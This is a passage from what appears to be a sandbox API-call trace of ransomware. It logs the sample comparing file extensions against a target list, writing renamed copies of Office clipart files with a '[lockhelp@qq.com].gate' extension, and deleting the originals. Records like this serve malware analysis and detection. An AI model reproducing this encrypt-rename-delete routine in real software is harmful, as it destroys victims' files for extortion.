hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0281.408] SetEndOfFile (hFile=0x3d0) returned 1 [0281.408] CloseHandle (hObject=0x3d0) returned 1 [0281.409] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.409] SetEndOfFile (hFile=0x418) returned 1 [0281.411] CloseHandle (hObject=0x418) returned 1 [0281.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0281.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.412] lstrlenW (lpString=".doc") returned 4 [0281.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString=".docx") returned 5 [0281.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.412] lstrlenW (lpString=".pdf") returned 4 [0281.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString=".xls") returned 4 [0281.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.412] lstrlenW (lpString=".xlsx") returned 5 [0281.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.412] lstrlenW (lpString=".ppt") returned 4 [0281.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.412] lstrlenW (lpString=".zip") returned 4 [0281.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.412] lstrlenW (lpString=".rar") returned 4 [0281.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString=".bz2") returned 4 [0281.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString=".7z") returned 3 [0281.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.412] lstrlenW (lpString=".dbf") returned 4 [0281.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.412] lstrlenW (lpString=".1cd") returned 4 [0281.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.412] lstrlenW (lpString=".jpg") returned 4 [0281.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.413] lstrlenW (lpString=".doc") returned 4 [0281.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString=".docx") returned 5 [0281.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.413] lstrlenW (lpString=".pdf") returned 4 [0281.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString=".xls") returned 4 [0281.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.413] lstrlenW (lpString=".xlsx") returned 5 [0281.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.413] lstrlenW (lpString=".ppt") returned 4 [0281.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.413] lstrlenW (lpString=".zip") returned 4 [0281.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.413] lstrlenW (lpString=".rar") returned 4 [0281.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString=".bz2") returned 4 [0281.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString=".7z") returned 3 [0281.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.413] lstrlenW (lpString=".dbf") returned 4 [0281.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.413] lstrlenW (lpString=".1cd") returned 4 [0281.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0281.414] lstrlenW (lpString=".jpg") returned 4 [0281.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.414] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.414] lstrlenW (lpString="AN01174_.WMF") returned 12 [0281.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.476] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=27858) returned 1 [0281.476] CloseHandle (hObject=0x4a4) returned 1 [0281.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0281.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.688] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.688] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.689] GetLastError () returned 0x0 [0281.690] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0281.746] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0281.747] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0281.747] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0281.747] SetEndOfFile (hFile=0x4b0) returned 1 [0281.748] CloseHandle (hObject=0x4b0) returned 1 [0281.749] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.749] SetEndOfFile (hFile=0x4ac) returned 1 [0281.751] CloseHandle (hObject=0x4ac) returned 1 [0281.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0281.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.955] lstrlenW (lpString=".doc") returned 4 [0281.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.955] lstrlenW (lpString=".docx") returned 5 [0281.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.955] lstrlenW (lpString=".pdf") returned 4 [0281.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.955] lstrlenW (lpString=".xls") returned 4 [0281.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.955] lstrlenW (lpString=".xlsx") returned 5 [0281.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.956] lstrlenW (lpString=".ppt") returned 4 [0281.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.956] lstrlenW (lpString=".zip") returned 4 [0281.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.956] lstrlenW (lpString=".rar") returned 4 [0281.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString=".bz2") returned 4 [0281.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString=".7z") returned 3 [0281.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.956] lstrlenW (lpString=".dbf") returned 4 [0281.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.956] lstrlenW (lpString=".1cd") returned 4 [0281.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.956] lstrlenW (lpString=".jpg") returned 4 [0281.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.956] lstrlenW (lpString=".doc") returned 4 [0281.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString=".docx") returned 5 [0281.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.956] lstrlenW (lpString=".pdf") returned 4 [0281.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.956] lstrlenW (lpString=".xls") returned 4 [0281.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.956] lstrlenW (lpString=".xlsx") returned 5 [0281.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.956] lstrlenW (lpString=".ppt") returned 4 [0281.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.957] lstrlenW (lpString=".zip") returned 4 [0281.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.957] lstrlenW (lpString=".rar") returned 4 [0281.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.957] lstrlenW (lpString=".bz2") returned 4 [0281.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.957] lstrlenW (lpString=".7z") returned 3 [0281.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.957] lstrlenW (lpString=".dbf") returned 4 [0281.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.957] lstrlenW (lpString=".1cd") returned 4 [0281.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0281.957] lstrlenW (lpString=".jpg") returned 4 [0281.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.957] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.957] lstrlenW (lpString="AN04117_.WMF") returned 12 [0281.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.958] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=6060) returned 1 [0281.958] CloseHandle (hObject=0x418) returned 1 [0281.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0281.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.958] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.958] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.959] GetLastError () returned 0x0 [0281.959] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x17ac, lpOverlapped=0x0) returned 1 [0281.976] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x17b0, lpOverlapped=0x0) returned 1 [0281.977] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0281.977] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0281.977] SetEndOfFile (hFile=0x404) returned 1 [0281.977] CloseHandle (hObject=0x404) returned 1 [0281.978] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.978] SetEndOfFile (hFile=0x418) returned 1 [0281.991] CloseHandle (hObject=0x418) returned 1 [0281.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0281.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.992] lstrlenW (lpString=".doc") returned 4 [0281.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.992] lstrlenW (lpString=".docx") returned 5 [0281.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.992] lstrlenW (lpString=".pdf") returned 4 [0281.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.992] lstrlenW (lpString=".xls") returned 4 [0281.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.992] lstrlenW (lpString=".xlsx") returned 5 [0281.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.992] lstrlenW (lpString=".ppt") returned 4 [0281.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.992] lstrlenW (lpString=".zip") returned 4 [0281.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.992] lstrlenW (lpString=".rar") returned 4 [0281.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.992] lstrlenW (lpString=".bz2") returned 4 [0281.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.993] lstrlenW (lpString=".7z") returned 3 [0281.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.993] lstrlenW (lpString=".dbf") returned 4 [0281.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.993] lstrlenW (lpString=".1cd") returned 4 [0281.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.993] lstrlenW (lpString=".jpg") returned 4 [0281.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.993] lstrlenW (lpString=".doc") returned 4 [0281.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.993] lstrlenW (lpString=".docx") returned 5 [0281.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.993] lstrlenW (lpString=".pdf") returned 4 [0281.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.993] lstrlenW (lpString=".xls") returned 4 [0281.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.993] lstrlenW (lpString=".xlsx") returned 5 [0281.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.993] lstrlenW (lpString=".ppt") returned 4 [0281.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.994] lstrlenW (lpString=".zip") returned 4 [0281.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.994] lstrlenW (lpString=".rar") returned 4 [0281.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.994] lstrlenW (lpString=".bz2") returned 4 [0281.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.994] lstrlenW (lpString=".7z") returned 3 [0281.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.994] lstrlenW (lpString=".dbf") returned 4 [0281.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.994] lstrlenW (lpString=".1cd") returned 4 [0281.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0281.994] lstrlenW (lpString=".jpg") returned 4 [0281.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.994] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.994] lstrlenW (lpString="AN04191_.WMF") returned 12 [0281.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.995] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=6636) returned 1 [0281.995] CloseHandle (hObject=0x418) returned 1 [0281.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0281.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.996] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.996] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.996] GetLastError () returned 0x0 [0281.996] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x19ec, lpOverlapped=0x0) returned 1 [0282.137] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x19f0, lpOverlapped=0x0) returned 1 [0282.138] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0282.138] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0282.138] SetEndOfFile (hFile=0x404) returned 1 [0282.139] CloseHandle (hObject=0x404) returned 1 [0282.142] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: 